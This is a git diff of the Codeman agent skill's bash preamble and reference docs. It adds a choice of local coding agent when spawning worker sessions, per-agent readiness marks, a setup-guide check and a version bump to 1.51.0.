         elif $i.state == "installed" then
+          # With the agents listed and none of them startable there is nothing to spawn,
+          # running or not: say that, not "blocked".
+          if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
+          then {spawnable:false, reason:"no-agent",
+                message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
           # `start` alone over-promises: it is offered too while another program holds the
           # port. Only an error-free start is a runtime spawn_worker can bring up.
-          if ($i.cli and $i.endpointId and $i.model.id)
+          elif ($i.cli and $i.endpointId and $i.model.id)
              and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
           then {spawnable:true} + $base
           else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -207,31 +238,55 @@ _local_ready_model() {
 # rather than handed back, because a worker that never drew its composer would eat the
 # task prompt with its trust dialog. There is deliberately no pid poll: wait-output
 # already blocks until the composer draws, and pid!=null proved startup, never readiness.
-# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
-# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
-# model ride the quick-start as `customModel`: the launch the window's "Start a session"
-# makes. A stopped runtime is started first. Any answer that wants a person to confirm
-# something (a context below the agent's safe floor, a model swap) fails the spawn: this
-# never confirms on anyone's behalf.
+# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
+# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
+# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
+# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
+# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
+# that wants a person to confirm something (a context below the agent's safe floor, a model
+# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
+# agent. All local workers share ONE model that answers one request at a time.
 # CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
 # it is set Claude Code's advisor tool: a stronger model the worker consults before
 # committing to an approach, on a recurring error and before declaring the task done.
 # Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
 # advisor that ranks below the worker's model is accepted but never attached by claude.
 spawn_worker() {
-  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
+  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
+  case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
   if [ "$mode" = local ]; then
     lm=$(_local_ready_model) || return 1
-    mode=$(jq -r .cli <<<"$lm")
+    if [ -n "$want" ]; then
+      # Only an agent the server lists as startable. A Codeman that lists none (older than
+      # 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
+      r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
+                                 elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
+      case "$r" in
+        ready) ;;
+        unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
+        absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+        *) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+      esac
+      mode=$want
+    else
+      mode=$(jq -r .cli <<<"$lm")
+    fi
     cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
-    # Readiness is a token the agent's composer draws. The registry's composer data never
-    # reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
-    # That field is no readiness mark in general (the registry keeps `composerReadyMark` for
-    # that, and declares none for opencode), but at boot only the composer draws it: measured
-    # on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
-    # and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
-    # path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
-    [ "$mode" = opencode ] && mark='┃'
+    # Readiness is a token the agent's composer draws once it takes input. The server names
+    # the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
+    # For a server that sends none, the two this skill measured itself:
+    #  - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
+    #    at the mark was submitted every time).
+    #  - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
+    #    until startup has finished, so its rule is no mark (a prompt sent at it stayed
+    #    unsent, 2 of 2). The last line of its startup is a warning that tmux's
+    #    `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
+    #    that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
+    #    contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
+    #    handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
+    # claude takes the claude path below.
+    mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
+    [ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
     mark=${LOCAL_READY_MARK:-$mark}
     [ "$mode" = claude ] || [ -n "$mark" ] || {
       echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -246,11 +301,16 @@ spawn_worker() {
   # server clamps this back to `workspace-write` for an owner without the grant.
   # Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
   # so a claude worker on the local model never gets one.
+  # pi on the local model: a custom model session gives pi a home of its own, so it would
+  # ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
+  # Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
+  # false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
   q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
       -d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
         '{caseName:$n,mode:$m,parentSessionId:$p}
          + (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
          + (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+         + (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
          + (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
   # The answers that want a PERSON to decide come back as success with no session id.
   if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -267,11 +327,18 @@ spawn_worker() {
     echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
   fi
   if [ -n "$cm" ] && [ "$mode" != claude ]; then
-    # No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
-    # why sendwait refuses it (400) and sendmark drives it.
+    # No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
+    # which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
+    # worker reports the end of a turn on the local model too, but sendmark is still the way
+    # to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
+    # new one `last-response` comes back empty for it.
     r=$(_mark_up "$sid" "$mark" 45000)
     [ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   if [ "$mode" = deepseek ]; then
@@ -287,6 +354,10 @@ spawn_worker() {
     r=$(_dsh_up "$sid" 45000)
     [ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   [ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; }   # no other mode draws a composer to wait on
@@ -545,4 +616,4 @@ last_text() {
 # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
 # bare on purpose: the write condition above anchors on it with $, so an inline comment
 # here would fail that match and rewrite this file on every single bootstrap.
-CODEMAN_PREAMBLE=1.50.0
+CODEMAN_PREAMBLE=1.51.0

plugins/codeman/skills/codeman/reference/recipes.md

@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
 ```
 
 Do **not** re-paste the preamble body into each call. Sourcing it is what retires the

plugins/codeman/skills/codeman/reference/verbs.md

@@ -831,9 +831,19 @@ can be spawned now (`running: true`) or once `spawn_worker` has started the runt
 
 ```json
 {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
- "endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
+ "endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B",
+ "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+           {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+ "models":[{"id":"qwen3.6:35b-a3b","label":"Qwen3.6 35B-A3B","active":true,"status":"ready","sizeGb":"23.1"}]}
 ```
 
+`cli` is the default coding agent. `agents` is every agent the model can be run with
+(`install.harnesses` of the route): `ready` can be started, `installable` and `installing`
+are an install a person makes or made in the window, `setup-needed` is an agent with a setup
+of its own (DeepSeek Harness without a terminal profile). `models` is what is on the Mac
+(`install.library`); only the `active` one runs. A Codeman older than 1.51 sends neither
+list, and both keys are then absent.
+
 Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
 
 | `reason` | What it means | What to tell the user |
@@ -841,6 +851,7 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
 | `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
 | `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
 | `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
+| `no-agent` | installed, and `agents` holds none that is `ready` | install a coding agent in that window (a chip that says "Not installed") |
 | `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
 | `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
 | `unsupported` | the server has no local model routes (404) | it predates the feature |
@@ -849,29 +860,44 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
 It never downloads, installs or starts anything. Installing is many gigabytes the person
 confirms in the window, and no route this skill calls can do it.
 
-**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
+**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), and
+**`spawn_worker <name> local:<cli>`** to choose the coding agent, in order:
 
-1. `local_model`; anything but exit 0 fails the spawn with that reason.
+1. `local_model`; anything but exit 0 fails the spawn with that reason. With `local:<cli>`
+   the agent must be a row of `agents` whose status is `ready`; any other status, or an
+   agent the model cannot be run with, fails the spawn with the ones that are startable.
+   On a Codeman that lists no agents only its one `cli` can be named. No agent is ever
+   installed from here.
 2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
    window's Start button sends, then `local_model` again until it reports `running`
    (about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
    send it; the server runs one runtime verb at a time and keeps a runtime that runs.
 3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
    "customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
-   session", with the installed agent as the mode. No advisor, which is a cloud model.
+   session", with the chosen agent as the mode. No advisor, which is a cloud model. A Pi
+   worker also carries `"piConfig":{"approveProjectTrust":false}` (`--no-approve`): on a
+   custom model Pi keeps no home, so it would ask to trust the folder in every session with
+   Trust preselected, and the task prompt's Enter would answer it.
    The server checks again that its own runtime runs and that the model on disk is the one
    it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
 4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
    person (a context below the agent's safe floor, a model swap that would evict another
    session's model). It fails the spawn with the answer on stderr and nothing on stdout,
    and no `confirmed*` flag is ever sent.
-5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
-   `wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
-   Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
-   first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
-   claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
-   dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
-   composer draws, or the spawn is refused before a session exists.
+5. Readiness: a token the agent's composer draws once it takes input, through
+   `wait-output`, 45 s, and the session deleted on a miss. The token is the agent's
+   `readyMark` from `local_model` when the server sends one, else the one measured for this
+   skill, and `LOCAL_READY_MARK` overrides both. All of it was measured on Linux through a
+   custom model launch, none of it on a Mac yet:
+
+   | Agent | Token | What was measured |
+   |-------|-------|-------------------|
+   | OpenCode | `┃` | 1.3.0 and 1.19.5: nothing draws it before the composer, no first-run screen, and a prompt pasted at the first `┃` was submitted (2 of 2 on 1.19.5) |
+   | DeepSeek Harness | `❯`, then a look at the pane | 0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1: splash, composer and status line arrive in one frame; a prompt sent at the mark was submitted (2 of 2). The harness reports idle about 150 ms BEFORE that frame, so `stop` is no readiness signal. 0.2.2-rc.1 with dsh-TUI 0.19.0: a setup guide ("Step 1 of 4") opens in every session until a person has finished it once, and its cursor is `❯` too (the mark matched on it, 2 of 2), so after the mark the rendered pane is read and a worker that shows the guide is deleted, never handed back; with the guide finished, a prompt sent at the mark was submitted |
+   | Pi | `extended-keys` | 1.5.2: Pi paints its composer rules in its first frame and ignores Enter until startup has finished, so the rule `─` is NOT a mark (a prompt sent at it stayed in the composer, 2 of 2). The last line of its startup is a warning that tmux's `extended-keys` option is off, which it is on Codeman's socket; a prompt sent once that word showed was submitted (4 of 4). A side effect, not a contract: a Pi that stops printing it fails the spawn until `LOCAL_READY_MARK` names what it draws instead |
+
+   A claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
+   dialog). An agent with no token at all is refused before a session exists.
 
 **`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
 an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):

skills/codeman/SKILL.md

@@ -107,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
 ```
 
 ⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -135,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
 mkdir -p "$(dirname "$PRE")"
 # Rewrite unless the file already ends with THIS version's stamp, so a stale or a
 # half-written file self-heals here instead of costing you a round trip to rm it.
-grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
-# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
+grep -qs '^CODEMAN_PREAMBLE=1.51.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
+# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
 # Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
 # replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
 # from that body (test/agent-skill.test.ts pins it).
@@ -197,6 +197,17 @@ _dsh_up() {        # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
   # composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
   _mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
 }
+_dsh_guide() {     # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
+  # dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI  Step 1 of 4") in every session until a
+  # person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
+  # on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
+  # is a sign-in. So a worker whose mark matched is still checked for the guide, on the
+  # RENDERED pane with its whitespace removed, and never handed back while it shows.
+  "${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
+    | jq -r '.data.terminalBuffer // empty' \
+    | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
+    | tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
+}
 # ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
 # Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
 # "No, exit" by default:
@@ -259,9 +270,18 @@ _accept_trust() {  # <sid> -> 0 once it has answered the dialog, 1 if it could n
 # local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
 # spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
 #   {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
-#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
+#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
+#    "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+#              {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+#    "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
+# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
+# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
+# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
+# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
+# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
 # Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
-# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
+# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
+# that can run the model is on this Mac), blocked (installed, but the server
 # refuses a session now: the model changed on disk, another program holds the port, the
 # runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
 # local models, 404), unauthorized (401, §6), unreachable, error.
@@ -277,12 +297,23 @@ local_model() {
         | reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
       .data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
       | {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
-         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
+         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
+         agents:(if ($i.harnesses | type) == "array"
+                 then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
+                 else null end),
+         models:(if ($i.library | type) == "array" and ($i.library | length) > 0
+                 then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
+                 else null end)} as $base
       | if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
         elif $i.state == "installed" then
+          # With the agents listed and none of them startable there is nothing to spawn,
+          # running or not: say that, not "blocked".
+          if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
+          then {spawnable:false, reason:"no-agent",
+                message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
           # `start` alone over-promises: it is offered too while another program holds the
           # port. Only an error-free start is a runtime spawn_worker can bring up.
-          if ($i.cli and $i.endpointId and $i.model.id)
+          elif ($i.cli and $i.endpointId and $i.model.id)
              and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
           then {spawnable:true} + $base
           else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -345,31 +376,55 @@ _local_ready_model() {
 # rather than handed back, because a worker that never drew its composer would eat the
 # task prompt with its trust dialog. There is deliberately no pid poll: wait-output
 # already blocks until the composer draws, and pid!=null proved startup, never readiness.
-# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
-# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
-# model ride the quick-start as `customModel`: the launch the window's "Start a session"
-# makes. A stopped runtime is started first. Any answer that wants a person to confirm
-# something (a context below the agent's safe floor, a model swap) fails the spawn: this
-# never confirms on anyone's behalf.
+# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
+# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
+# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
+# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
+# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
+# that wants a person to confirm something (a context below the agent's safe floor, a model
+# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
+# agent. All local workers share ONE model that answers one request at a time.
 # CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
 # it is set Claude Code's advisor tool: a stronger model the worker consults before
 # committing to an approach, on a recurring error and before declaring the task done.
 # Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
 # advisor that ranks below the worker's model is accepted but never attached by claude.
 spawn_worker() {
-  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
+  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
+  case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
   if [ "$mode" = local ]; then
     lm=$(_local_ready_model) || return 1
-    mode=$(jq -r .cli <<<"$lm")
+    if [ -n "$want" ]; then
+      # Only an agent the server lists as startable. A Codeman that lists none (older than
+      # 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
+      r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
+                                 elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
+      case "$r" in
+        ready) ;;
+        unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
+        absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+        *) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+      esac
+      mode=$want
+    else
+      mode=$(jq -r .cli <<<"$lm")
+    fi
     cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
-    # Readiness is a token the agent's composer draws. The registry's composer data never
-    # reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
-    # That field is no readiness mark in general (the registry keeps `composerReadyMark` for
-    # that, and declares none for opencode), but at boot only the composer draws it: measured
-    # on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
-    # and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
-    # path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
-    [ "$mode" = opencode ] && mark='┃'
+    # Readiness is a token the agent's composer draws once it takes input. The server names
+    # the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
+    # For a server that sends none, the two this skill measured itself:
+    #  - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
+    #    at the mark was submitted every time).
+    #  - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
+    #    until startup has finished, so its rule is no mark (a prompt sent at it stayed
+    #    unsent, 2 of 2). The last line of its startup is a warning that tmux's
+    #    `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
+    #    that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
+    #    contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
+    #    handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
+    # claude takes the claude path below.
+    mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
+    [ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
     mark=${LOCAL_READY_MARK:-$mark}
     [ "$mode" = claude ] || [ -n "$mark" ] || {
       echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -384,11 +439,16 @@ spawn_worker() {
   # server clamps this back to `workspace-write` for an owner without the grant.
   # Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
   # so a claude worker on the local model never gets one.
+  # pi on the local model: a custom model session gives pi a home of its own, so it would
+  # ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
+  # Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
+  # false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
   q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
       -d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
         '{caseName:$n,mode:$m,parentSessionId:$p}
          + (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
          + (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+         + (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
          + (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
   # The answers that want a PERSON to decide come back as success with no session id.
   if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -405,11 +465,18 @@ spawn_worker() {
     echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
   fi
   if [ -n "$cm" ] && [ "$mode" != claude ]; then
-    # No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
-    # why sendwait refuses it (400) and sendmark drives it.
+    # No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
+    # which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
+    # worker reports the end of a turn on the local model too, but sendmark is still the way
+    # to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
+    # new one `last-response` comes back empty for it.
     r=$(_mark_up "$sid" "$mark" 45000)
     [ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   if [ "$mode" = deepseek ]; then
@@ -425,6 +492,10 @@ spawn_worker() {
     r=$(_dsh_up "$sid" 45000)
     [ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   [ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; }   # no other mode draws a composer to wait on
@@ -683,10 +754,10 @@ last_text() {
 # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
 # bare on purpose: the write condition above anchors on it with $, so an inline comment
